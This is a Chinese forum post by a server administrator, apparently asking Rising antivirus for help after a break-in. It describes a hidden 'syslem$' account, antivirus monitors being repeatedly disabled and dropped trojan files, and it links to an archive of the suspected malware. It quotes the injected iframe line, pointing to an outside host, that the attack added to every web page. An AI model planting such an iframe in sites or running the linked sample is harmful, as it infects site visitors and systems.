最近我的服务器天天被攻击，刚才我刚好远程登录到服务器上，突然360安全卫士提示有个一文件正在装入，我装的是正版瑞星2008和防火墙，但这两个都无任何提示，我刚阻止完，就发现我的电脑用户加了一个叫"syslem$"的用户，然后我当然马上删除了，跟着，瑞星防火墙的监控就自动停止了，然后瑞星杀毒的监控伞也由绿色变成红色，我当然第一时间让它变回绿色，但没一会，又变成红色了，之后我又一次把它变回绿色，没一回，这次它由绿色变成黄色了，我再一次把它变成绿色，之后瑞星的两个监控就没有再变化了，后来我在C盘winnt/system发现了一堆文件，应该是刚才留下的，相信是木马，于是打包了，希望瑞星能帮帮我！我现在都不敢轻易离开服务器屏幕了……
文件大小为1.42M的RAR，在这个地址可以下载：http://www.dtchong.com/ad/ak47.rar
留下的文件如图：

还有补充一下，每次被攻完，在我所有.htm .asp .aspx的源代码里面加上一堆<iframe src=http://www.e0shop.cn/k.htm width=50 height=1></iframe>,使我的网站无法完全正常

我昨天在发完此帖后，系统彻底完了，昨天下午就去了电信，结果系统不停重启，连安全模式也进不了，唉……